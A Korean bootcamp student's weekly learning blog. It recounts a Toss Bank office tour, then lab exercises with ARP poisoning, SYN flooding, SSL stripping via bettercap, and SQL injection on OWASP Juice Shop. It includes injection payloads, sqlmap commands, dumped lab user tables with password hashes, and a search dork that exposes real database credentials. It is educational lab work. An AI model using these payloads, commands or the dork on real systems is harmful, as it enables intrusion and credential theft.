波瀾(파란)

이번주부터 TIL에는 학습한 내용과 이번주 느낀 것들에 대해 글을 남겨 보려고 한다. 어디부터 이야기를 시작 해야할까 나에게 큰 충격을 주었고 변화의 필요성을 여실히 느낀 한 주여서 이 글을 작성하는 이 시점에도 혼란스럽다.

11/14 토스뱅크 사이버보안 엔지니어 부트캠프를 수강한지 3개월 정도 된 시점에 토스뱅크 오피스 투어에 가게 됐다. 가기 전에는 사실 그냥 설레기만 했다. 토스라는 회사는 IT 직무를 희망하는 사람들이라면 누구나 한번쯤은 가고싶다라는 생각을 하게 만드는 대상이라고 생각한다.

나 역시 토스에서 내는 컨텐츠들을 거의 매일 찾아 볼만큼 열렬한 팬이기에 그냥 좋은것도 아니고 너무 좋았다. 토스뱅크에서 주관하는 부트캠프를 들어 오게 됐을 때도 너무 기뻤지만 내가 선망하는 그들이 일하는 공간에 가 그들을 만난다는 것 자체로도 큰 설레임이 있었다.

토스뱅크 오피스에 가니 방문증과 토스커피 사일로에서 내려주신 커피를 하나 받고 자리로 가니 유난한 도전이라는 토스의 이야기를 담은 책 한권이 놓여져 있었다. 사실 그냥 홍보용으로 주신거겠지 하고 별 생각은 없었다ㅋㅋㅋ 그도 그런것이 사실 전공서적과 논문 같은 자료는 평소에 많이 보지만 책에는 영.. 흥미를 못 느끼는 나인지라..ㅎㅎ

암튼 같이 공부하는 분들이 착석을 하고나니 우리를 인솔 해주시는 직원분이 일정을 소개 해주셨고 채용 담당자께서 기업소개 + 채용 관련 이야기를 해주셨다. 단순한 설레임이 머리를 한대 맞은듯한 느낌으로 변한건 이 순간부터였던거 같다.

기업 소개를 시작으로 토스의 코어벨류(Core-Value)에 대한 이야기와 함께 담당자님 자신의 일상 이야기를 해주셨는데 이 이야기를 듣고 순간 벙쪘다.

항상 그런건 아니지만 하루에 미팅이 8개 10개 잡히는 경우가 있어요. 저는 아침에 수영을 가는데 수영을 갔다가 출근해서 수많은 미팅을 쳐내면 아 진짜 불태웠다! 갓생 살았다! 라는 느낌을 받을 수 있어요. 그렇잖아요? 근데 내가 많은 미팅을 쳐낸거 뿐이지 임펙트가 있는 하루였다고 할 수 있나요?

요즘 내 일상은 무한 반복이다. 평일엔 아침에 부트캠프 가서 교육 받고 돌아와서 정리하고 잠에 든다. 주말엔 아침에 출근해서 저녁 즈음에 퇴근하고... 부트캠프가 시작 된 순간부터 내 일상은 변하지 않았다.

주변 사람들은 미쳤다고 한다 쉴 시간이 있냐고. 나는 내 자신 스스로에게 "자기 연민에 빠져선 안된다." "나태해져선 안된다." 이 두 말을 항상 되내이고 나 자신을 객관적으로 보려고 노력하며 지금까지 살아왔고 체력적으로 많이 지치지만 토스에서 주관하는 교육을 받는다는거 내가 하고싶은 공부를 하고 있기 때문에 나름 즐기고 있다라고 생각했다.

근데 내가 저 말을 듣고 벙찐게 내 삶이 임펙트는 찾아 볼 수 없다는 생각이 들었고, 금방 맞다라는 확신이 들어서다. 그렇지 않은가? 매일 교육 받고 알바하면서 나름 열심히 사는거처럼 보인다. 하지만 매일 내가 무언가 이뤄냈다고 할 수 있을까? 정말 냉정하게 지난 3개월을 돌이켜 보면 아니다.

내가 그들과 함께 하려면 그들이 원하는 사람이 되어야 하고, 지금처럼 하면 절대 될 수 없다라는거? 의심에 여지없이 확실하다. 근데 난 그들과 함께 하고 싶으니 변화 해야한다.

이어서 지원자들의 얘기를 해주셨다.

수많은 포트폴리오를 보면 깃허브부터 블로그 등등 정말 많이 넣어주신다.
근데 정작 만나보면 그냥 단순히 양만 많은 경우가 많다. 양보단 본인이 프로젝트에 얼마나 영향을 끼쳤고, 영향에 대한 기록, 무엇을 얻었는지 그리고 가장 중요한 왜?라는 질문이 필요하다. 근데 그게 없는 경우가 많다. 여러분들은 습관적으로 왜?라는 질문을 하셔야 우리뿐만 아니라 다른 기업 면접에서도 편할거다.

이 이야기를 듣고는 내가 쓴 블로그를 찬찬히 돌이켜 봤는데 음 쓰레기다. 정말로.
기술에 대한 정리는 되어 있지만 "왜?"라는 질문과 내 생각이 결여 되어 있다. 대대적인 공사가 필요하다고 느끼는 순간이었던거 같다.

기업 소개랑 채용 설명이 끝나고 Q&A 시간이 됐는데 발대식 때 뵀었던 토스뱅크 CISO님이 질문 직접 받아주신다고 뒤에서 갑자기 나타나셨다. 회사에서 뵈니 사람에서 나오는 분위기 자체가 남달랐던거 같다. 시간이 많지 않아 질문 두 가지 정도를 드렸다. 여쭤 보고싶은게 많았는데 직전에 생각을 너무 많이 해서 정리한걸 깔끔하게 질문하지 못한게 조금 아쉽게 느껴진다.

암튼 이렇게 한 세션이 끝나고 멘토링 시간이 되어 멘토님들이 계시는 장소로 이동했다. 조별로 움직였는데 나는 토스뱅크 Blue Team 리드분과 Red Team 리드분께 각각 30분씩 멘토링을 받았다. 나는 주로 보안에서 AI를 어떻게 적용하고 활용하는지, 클라우드 환경에서 보안 처리, 공부 방법과 같은 부분들을 여쭤봤다.
시간이 생각보다 많이 지연 됐음에도 불구하고 질문한 부분들을 최대한 자세하게 그리고 많은 것을 이야기 해주셔서 정말 감사했다. 평소에 궁금했던게 해소되어 앞으로 공부 해야 될 부분들과 프로젝트 진행에 큰 도움이 될거 같다는 생각이 든다.

1시간 조금 넘게 멘토링을 받고 오피스 구경을 하러 갔다. 보안 때문에 사진 촬영은 안됐지만 그냥 한마디로 좋아보였다. 머지 않은 날에 내 자리가 있겠지~라는 생각을 하며 어디가 내 자리가 되면 좋을까 이런 생각도 했었던거 같다ㅋㅋㅋㅋㅋㅋ

오피스 투어를 끝으로 식사를 하고 일정이 종료됐다. 집에 가는 길에 어떻게 변화를 줘야 할지 생각하다가 토스에서 받은 "유난한 도전"이 생각나서 가는 길에 읽었다. 난 내가 하루만에 이 책을 다 읽게 될줄은 상상도 못했다.

이 책은 이승건 토스팀 리더님토스가 걸어온 길에 대한 이야기가 담겨있다. 이 책을 다 읽으니 생각 정리가 자연스럽게 된거 같다. 내가 지금 해야할 일이 무엇인지 어떤게 문제고 뭐부터 바꿔 나가야 할지 말이다.

무엇보다 중요한건 빠른 실천이라고 생각한다. 토스팀의 Core Value 중 모든 가정에 물음을 제기한다. 완벽보다 실행에 집중한다. 신속하게 움직인다. 라는 세 가지 원칙을 지키기 위해 이 포스트를 기점으로 변화를 주고자 한다. 다른 Core Value들도 있지만 이 세 가지를 우선적으로 지키기 시작하면 한 가지를 제외하곤 뒤따라 오는 것이라는 생각이 든다.


9주차 학습내용

Network Attacks

1. ARP Attack
2. TCP Attack
3. SSL Strip

Web Attacks

1. SQL Injection
2. OWASP Juice

Network Attacks

네트워크 환경에서 각 계층별로 발생하는 공격 유형과 대응 방법에 대해 학습했다. Attacker 환경을 Kali linux를 이용해서 다양한 공격 도구들을 이용해서 공격을 진행한 점이 좋았다.

1. ARP Attack (ARP Cache Poisoning Attack)

ARP는 Layer 2에서 동작하고 IP를 통해 MAC 주소를 찾는 프로토콜이다. 기본 동작이 Broadcast이기 때문에 ARP 요청이 많아질 경우 네트워크 성능이 저하될 수 있다.

Reference

https://velog.io/@_sychoii/Network-Security-Layer-2-Attacks
Layer 2에 관련한 자세한 내용은 정리 해놨으니 해당 링크를 참고하자

위에서 말한 ARP 동작에 의한 네트워크 성능 저하 방지를 위해 도입 된 것이 ARP Cache Table이다. ARP Cache Table은 같은 서브넷 (내부 네트워크)에 존재하는 host들의 IP와 MAC 주소를 Mapping 시켜놓은 Table이다.
따라서 내부 host들과 통신할 때 이 테이블을 참조하여 ARP를 사용하지 않고 통신할 수 있다.

Attack Method

ARP Cache Poisoning 공격은 Victim의 Cache Table을 변조하는 공격이다. 그럼 어떻게 공격은 어떻게 이뤄질까?

이 공격은 Attacker가 Victim에게 사칭 IP가 자신이라고 계속해서 알리는 식으로 동작한다. 반복적으로 Victim에게 알리게 되면 Victim의 ARP 캐시 테이블은 사칭 IP와 Attcker의 MAC 주소로 Mapping되게 된다.
적절한 비유인지는 모르겠으나 한때 경찰을 사칭(?)한 경차가 떠올랐다.

그럼 공격자는 무작위로 사칭을 할까? 그건 아니다. ARP Cache Poisoning 공격의 목적은 궁극적으로 MITM을 위한 공격이기 때문에 내부와 외부 네트워크를 연결하는 Gateway의 IP를 사칭한다.

Countermeasure

이 공격을 어떻게 막아야 할까? 먼저 Layer2에서 일어나는 공격이라는 점을 고려 해보면 Attacker의 위치는 외부에서 내부망으로 침입하지 않은 이상 내부에 있다고 할 수 있다.

  1. Gateway 주소 고정
    Gateway를 사칭하는 경우가 많으니 보편적으로 사용하는 Gateway 주소를 ARP 캐시 테이블에 고정 옵션(-s)을 설정하는 방법이 있다.

  2. Gratuitous ARP(자발적 ARP)
    이 공격은 Attacker가 자발적으로 Victim에게 ARP Response를 보내 가스라이팅(?)하는 공격이다.
    자발적으로 보낸다라는 점을 생각해보면 일반적인 네트워크 환경에서 자주 있는 상황일까? 아니다. 이걸 필터링 하면 된다.

2. TCP Attacks

TCP신뢰성 통신 프로토콜로 데이터 전송 전 세션 연결을 수립하고, 데이터 전송시 에러에 대한 처리 기능을 지원한다.

SYN Flooding Attack

앞서 말한거처럼 세션 연결을 맺어 Client와 Server가 통신을 한다. 세션을 수립할 때 Client가 SYN flag를 통해 Server에 연결 요청을 하면 Server는 SYN+ACK를 보내 연결 수립을 수락하고 Client가 ACK를 보내며 세션을 맺는다.

연결 수립 과정을 조금 더 살펴보면 서버가 SYN 요청을 받고 SYN + ACK를 응답하면 서버는 해당 클라이언트를 위한 자리 즉, 일정 대역폭을 할당하게 된다.(Half Open)
만약에 클라이언트에서 ACK가 안온다면? 할당한 대역폭이 낭비되게 된다. 사실 요청이 얼마 안된다면 네트워크 상태에 영향이 크지 않지만 연결 요청이 엄청나게 많다면?

SYN 요청을 엄청나게 많이 보내서 네트워크 대역을 낭비시켜 서비스 정상 운영을 방해하는 공격이 SYN Flooding으로 DoS공격의 일종이다.
다수의 연결 요청에 대해 Half Open 상태가 계속해서 유지되면 정상적인 연결 요청도 처리하지 못하는 상태가 된다.

우리가 일상에서 티켓팅이나 수강신청 할 때 사이트에 접속이 잘 안되는 상황을 누구나 겪어 봤을거라고 생각한다. 이걸 악의적인 목적을 가지고 하면 SYN Flooding 공격이 되는거다.

Countermeasure

  • SYN 🍪
    공격자가 설정한 IP로 수많은 SYN 요청이 들어올거다. 근데 이 요청을 쿠키 형태로 응답에 담아 보낸다면? 같은 IP로 요청이 들어왔을 때 메모리 공간을 할당할 필요가 없어진다. 즉, 여러 연결 요청에 대한 처리를 할 필요 없이 한번만 하면 된다.

    여기서 질문

    궁금했던게 공격자가 결국은 IP를 위조해서 많은 요청을 보내서 공격을 하는거니까 만약 IP주소를 Random으로 다 다르게 바꿔서 보내면 SYN 쿠키로 못 막지 않나? 그럼 이 공격 어떻게 막지?

SYN Cookie에 대해 내가 정확히 이해를 못 했던거였다. 기존엔 리소스 할당을 SYN+ACK 타이밍에 했다면 리소스 할당 시점을 최종 ACK 패킷이 도착한 후로 미루는 것이었다!

이외에도 접속 임계치 설정을 하거나 해당 네트워크 대역에서 사용하지 않는 IP를 차단하는 Ingress Filtering을 하는 방법도 있다.

3. SSL Strip Attack

SSL Hijecking 공격은 MITM의 일종으로 공격자가 사용자와 웹 서버 사이 HTTPS 연결을 HTTP 연결로 Downgrade 시켜 사용자 정보를 가로채는 공격이다.

이게 어떻게 가능할까? HTTP는 암호화를 지원하지 않지만 여기에 SSL/TLS와 같이 암호화 과정을 붙여 HTTPS가 된다.
여기서 알아야 할 점은 암호화 할 때 반드시 443에 해야하냐? 그건 아니다.

쉽게 얘기해서 443번 포트는 HTTPS 통신을 위한 표준일뿐이고 암호화가 된 트래픽이 다른 포트로 나가도 HTTPS 통신이라는 것이다. 암호화 방식 역시 반드시 SSL을 사용할 필요없다. (요즘은 TLS가 표준이다.)

SSL Strip 공격의 공격 벡터는 사용자와 서버 사이의 통신 경로에 개입하여 초기 HTTPS 연결 요청을 가로채고, 사용자에게만 위조된 HTTP 연결을 강제로 유도

간단히 SSL Strip 공격을 실험 해봤다. 도구는 bettercap을 이용했다.

Victim, Gateway 네트워크 설정을 사진과 같이 해주고 ARP Spoof를 통해 MITM 공격이 가능하게끔 설정을 먼저 한다.

트래픽을 보기 위해 sniffing 기능도 켜주고 HSTS 우회 기능도 켜준다.

원래는 https로 접속이 되지만 이 공격을 수행하니 http로 접속이 되는 것을 확인할 수 있었다.

혹시나 생길 오해를 위해 ..

이 실험에서 매일경제 사이트를 공격한 것이 아니고, https 연결을 http로 Downgrade하여 접속하는 실험을 한 것일뿐 특정 사이트를 공격하지 않았습니다.


Web Hacking

기존 계획이 Webgoat를 이용해서 OWASP Top 10 공격에 대한 학습하는 것이었는데 어떤 이유인지 강사님이 별도 제공 해주신 환경에서 Injection 기반 공격들을 학습하고 OWASP에서 제공하는 OWASP Juice에서 실습을 진행했다.

개인적으로 제공 해주신 사이트 자체가 너무 오래된 웹 사이트라 현대적인 공격 기법을 다루지 않았던 부분이 조금 아쉽게 느껴지는 과정이었다.

Web Application Vulnerability

실제 Chrome 검색창에 filetype:inc mysql_connection site:kr 이 검색어를 입력하면 볼 수 있는 결과다. 어디 사이트인지는 말 안하겠다만 DataBase ID, PW를 확인할 수 있었다. 물론 들어가서 확인은 하지 않았지만..(들어가서 확인하면 범죄라고 한다.)

이처럼 웹 애플리케이션의 사용자 입력에 악의적인 SQL 구문을 삽입하여, 서버 측에서 이 입력이 실제 SQL 쿼리문의 일부로 해석되게 만듦으로써, DB의 구조를 조작하거나 비인가된 정보를 추출하는 공격을 SQL Injection이라고 한다. 역사가 긴 공격이지만 여전히 취약점을 드러내고 있다.

OWASP Juice Shop

OWASP에서 만든 웹 애플리케이션 취약점을 담고 있는 실습 서버로 나름 최신화?가 되어 있어 실습용으로 괜찮다는 생각이 든다. 환경 세팅은 아래 링크를 참고하여 설정하면 된다. 나는 git으로 내려받아 docker에 띄워서 실습을 진행했다.

https://github.com/juice-shop/juice-shop

환경 설정을 완료하고 페이지에 접속하면 위와 같은 사이트를 확인할 수 있다. Juice Shop이라는 이름답게 뭔가 파는 쇼핑몰 형태를 띄고 있다.

우측 상단을 보면 Account를 누르면 로그인을 할 수 있다. 먼저 sql injection 공격을 해봤다.
ID/PW 입력칸을 확인할 수 있고 ID 입력 값을 ' or 1=1--로 입력하고 PW는 아무거나 넣었더니 Admin 계정으로 로그인에 성공했다.

' or 1=1--

일반적으로 이러한 공격은 아래 형식의 쿼리문 변조를 목표로 한다.

SELECT * FROM users WHERE username = '사용자_ID' AND password ='사용자_PW'

공격자가 ID 입력란에 ' or 1=1--을 넣으면 쿼리문은 다음과 같이 바뀐다.

SELECT * FROM users WHERE username = **'** or 1=1--' AND password = '사용자\_PW'

username을 감싸던 앞쪽 '를 닫고, 무조건 참인 조건을 추가한 뒤 바로 이어 오는 비밀번호 조건 부분을 주석처리하여 무효화한다. DB서버에서 처리하는 쿼리는 다음과 같아진다.

SELECT * FROM users WHERE (username == ') OR (1=1)

1=1은 무조건 참이기 때문에 ID/PW 일치 여부와 관계없이 조건이 참이 된다. DB는 조건을 만족하는 모든 행을 반환하는데 이중 가장 처음 찾은 값이 최종적으로 반환되기 때문에 관리자 계정을 이용하여 로그인에 성공한다.

로그인 과정에서 SQL Injection 공격이 가능한 것을 확인했다. 이번엔 Error Message를 통해 정보를 취득하는 Error Based SQL Injection 공격을 시도 해봤다.

ID에 '를 넣어 로그인을 하니 원래 "존재하지 않는 계정", "ID or PW 잘못됨" 과 같은 에러 메세지가 출력되어야 하는데 에러 메세지가 아닌 다른 메세지가 나온다! Burp Suite를 이용해서 처리되는 과정을 봐야겠다.

로그인 리다이렉션 부분을 인터셉트 해서 뜯어보니 평문으로 전송되고 있다. 또한 ' 때문에 E-mail 뒤 password 유효하지 않아 DB에서 Error가 발생한거 같다. 이제 이 패킷을 포워딩 해보면

DB 오류가 발생했고 해당 패킷에서 비밀번호 해시값을 얻을 수 있다. 이 해시를 크랙 해보면 평문 비밀번호를 흭득할 수 있다.

로그인 과정에서 공격을 통해 얻을 수 있는 정보는 다 얻은거 같다. 아마? 암튼 상점으로 가보자.

상품 검색 창에서 검색어를 치고 검색을 시도하면 url 부분에 q=apple을 확인! 저 뒤에 검색어가 붙어 전달 되는구나

이번엔 검색한 상품을 클릭하고 인터셉트 해서 확인 해보니까 상품을 /rest/products에서 가지고 오는 것으로 보이고, 뒤 숫자는 상품의 id값인거 같다.
수집된 정보들을 조합 해보면 q=뒤에 검색어가 붙고 상품은 /rest/products에서 조회한다.

이 두 정보를 조합해서 url에 반영 했더니 상품정보들을 확인할 수 있었다. 여기서 나아가서 상품이 등록된 날짜 같은 것도 확인할 수 있는데 그럼 과거 상품도 볼 수 있지 않을까?라는 생각이 들었다.

상품이 장바구니에 들어갈 때 위와 같은 데이터가 삽입된다.

SELECT * FROM products WHERE id = 

DB에 쿼리문이 위와 같은 식으로 들어 갈거니까 id부분을 무력화 시키고 뒤따라오는 쿼리도 주석 처리를 해버리면 일반적으로 볼 수 없는 상품 정보도 확인할 수 있을거 같다.

' ))--

기존 정상 쿼리를 '로 끝내고 쿼리에 괄호가 있는거 같아 두 개 추가 해줬고 나머지 쿼리는 동작하지 못하게 주석처리를 했더니

과거 상품도 조회가 가능했다. 뭔가 이대로 끝내기 아쉬운데 계정 정보를 한번 털어 봐야겠다 👾
kali linux에서 sqlmap이라고 하는 sql injection 공격을 할 수 있는 도구를 사용할 수 있어서 한번 사용 해봤다.

sqlmap -u "http://localhost:3000/rest/products/search?q=" --dbms=sqlite --level 5 -T Products --columns

처음에 이 명령으로 시도했는데 서버에서 Detect 돼서 실패했다. 찾아보니까 DB 데이터를 가져 오는 과정에서 typecasting이 일어나는데 이 부분에서 Detect 된다고 한다.
그래서 --no-cast 옵션으로 형변환을 하지 않으면?

Table: Products
[9 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| createdAt   | DATETIME |
| deletedAt   | DATETIME |
| deluxePrice | DECIMAL  |
| description | VARCHAR  |
| id          | INTEGER  |
| image       | VARCHAR  |
| name        | VARCHAR  |
| price       | DECIMAL  |
| updatedAt   | DATETIME |
+-------------+----------+

잘 뽑힌다. 원래 사진을 다 넣으려고 했는데 무슨 이유인지 사진이 안들어간다.. 암튼 상품 관련 테이블 정보고 그럼 계정 정보 관련 테이블도 가지고 와보자.

Table: Users
[13 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| createdAt    | DATETIME |
| deletedAt    | DATETIME |
| deluxeToken  | VARCHAR  |
| email        | VARCHAR  |
| id           | INTEGER  |
| isActive     | TINYINT  |
| lastLoginIp  | VARCHAR  |
| password     | VARCHAR  |
| profileImage | VARCHAR  |
| role         | VARCHAR  |
| totpSecret   | VARCHAR  |
| updatedAt    | DATETIME |
| username     | VARCHAR  |
+--------------+----------+

[14:40:50] [INFO] fetched data logged to text files under '/Users/choseong-yur/.local/share/sqlmap/output/localhost'

[*] ending @ 14:40:50 /2025-11-13/

기존 명령어에서 Target Table만 Users로 바꾸면 쉽게 얻을 수 있다.

Database: <current>
Table: Users
[23 entries]
+------------+
| role       |
+------------+
| admin      |
| customer   |
| customer   |
| admin      |
| deluxe     |
| admin      |
| customer   |
| customer   |
| admin      |
| admin      |
| customer   |
| admin      |
| deluxe     |
| customer   |
| accounting |
| customer   |
| customer   |
| customer   |
| customer   |
| deluxe     |
| deluxe     |
| admin      |
| customer   |
+------------+

[14:44:04] [INFO] table 'SQLite_masterdb.Users' dumped to CSV file '/Users/choseong-yur/.local/share/sqlmap/output/localhost/dump/SQLite_masterdb/Users.csv'
[14:44:04] [INFO] fetched data logged to text files under '/Users/choseong-yur/.local/share/sqlmap/output/localhost'

[*] ending @ 14:44:04 /2025-11-13/
Database: <current>
Table: Users
[23 entries]
+----------------------------+
| email                      |
+----------------------------+
| J12934@juice-sh.op         |
| accountant@juice-sh.op     |
| admin@juice-sh.op          |
| amy@juice-sh.op            |
| bender@juice-sh.op         |
| bjoern.kimminich@gmail.com |
| bjoern@juice-sh.op         |
| bjoern@owasp.org           |
| chris.pike@juice-sh.op     |
| ciso@juice-sh.op           |
| demo                       |
| emma@juice-sh.op           |
| ethereum@juice-sh.op       |
| jim@juice-sh.op            |
| john@juice-sh.op           |
| mc.safesearch@juice-sh.op  |
| morty@juice-sh.op          |
| stan@juice-sh.op           |
| support@juice-sh.op        |
| test@gmail.com             |
| testing@juice-sh.op        |
| uvogin@juice-sh.op         |
| wurstbrot@juice-sh.op      |
+----------------------------+

[14:52:20] [INFO] table 'SQLite_masterdb.Users' dumped to CSV file '/Users/choseong-yur/.local/share/sqlmap/output/localhost/dump/SQLite_masterdb/Users.csv'
[14:52:20] [INFO] fetched data logged to text files under '/Users/choseong-yur/.local/share/sqlmap/output/localhost'

[*] ending @ 14:52:20 /2025-11-13/

저장되어 있는 계정 이메일과 해당 계정의 role을 확인할 수 있다. 마지막으로 password를 확인 해보자.

Database: <current>                                                                                                                                                                                                 
Table: Users
[23 entries]
+---------------------------------------------+
| password                                    |
+---------------------------------------------+
| 0192023a7bbd73250516f069df18b500 (admin123) |
| e541ca7ecf72b8d1286474fc613e5e45 (ncc-1701) |
| 0c36e517e3fa95aabf1bbffc6744a4ef            |
| 6edd9d726cbdc873c539e41ae8757b8c            |
| 861917d5fa5f1172f931dc700d81a8fb            |
| 3869433d74e3d0c86fd25562f836bc82            |
| f2f933d0bb0ba057bc8e33b8ebd6d9e8            |
| b03f4b0ba8b458fa0acdc02cdb953bc8            |
| 3c2abc04e4a6ea8f1327d0aae3714b7d            |
| 9ad5b0492bbe528583e128d2a8941de4            |
| 030f05e45e30710c3ad3c32f00de0473            |
| 7f311911af16fa8f418dd1a3051d6810            |
| 9283f1b2e9669749081963be0462e466            |
| 10a783b9ed19ea1c67c3a27699f0095b            |
| 963e10f92a70b4b463220cb4c5d636dc            |
| 05f92148b4b60f7dacd04cceebb8f1af            |
| fe01ce2a7fbac8fafaed7c982a04e229 (demo)     |
| 00479e957b6b42c459ee5746478e4d45            |
| 402f1c4a75e316afec5a6ea63147f739            |
| e9048a3f43dd5e094ef733f3bd88ea64            |
| 2c17c6393771ee3048ae34d6b380c5ec (private)  |
| b616a64605a07941fbd31868aea3b54b            |
| 65745232dce5a06dbaa086d40cefb64e            |
+---------------------------------------------+

[14:51:31] [INFO] table 'SQLite_masterdb.Users' dumped to CSV file '/Users/choseong-yur/.local/share/sqlmap/output/localhost/dump/SQLite_masterdb/Users.csv'
[14:51:31] [INFO] fetched data logged to text files under '/Users/choseong-yur/.local/share/sqlmap/output/localhost'

[*] ending @ 14:51:31 /2025-11-13/

해싱된 상태로 저장되어 있고, 이 경우 크랙 여부도 물어본다. 근데 성능이 그리 좋진 않은거 같다.


마치며

일단 저번주에 생각을 고쳐 먹으니까 뭔가 수업에 집중도 더 잘 되는거 같고 궁금한 것도 더 많이 생기는거 같다. 몰입감이 더 생겼다 해야하나? 눈에 확 띄는 변화는 아니겠지만 일단 빠르게 내 자신에게 피드백을 주고 행동으로 옮기는데 성공한거 같고, 미약하지만 조금 더 성장했다라는 느낌을 받는다.

그리고 사실 남들이 봤을 때 이번주 TIL은 기존 글들과 많은 차이가 있을까?라는 생각이 들기도 하는데 음 나름 내가 느꼈던 것들 내가 했던 생각들을 더 녹여 내려고 노력 했던거 같다.
이 글을 보시는 분들 피드백 좀 주세요~

앞서 말한거처럼 내가 썼던 블로그 보고 진짜 다 갈아 엎을까도 했지만 이 또한 나의 흔적이라고 아는 형이 말해줬기도 했고, 결과적으로 봤을 때 지금 배우고 있는 것들 그리고 개인적으로 공부하는 것들에 시간을 더 투자하는게 좋을거 같아 그냥 두기로 했다.

마지막으로 좋은 기회 주신 토스뱅크에게 다시 한번 감사 인사 드리며 마치도록 하겠다.

0개의 댓글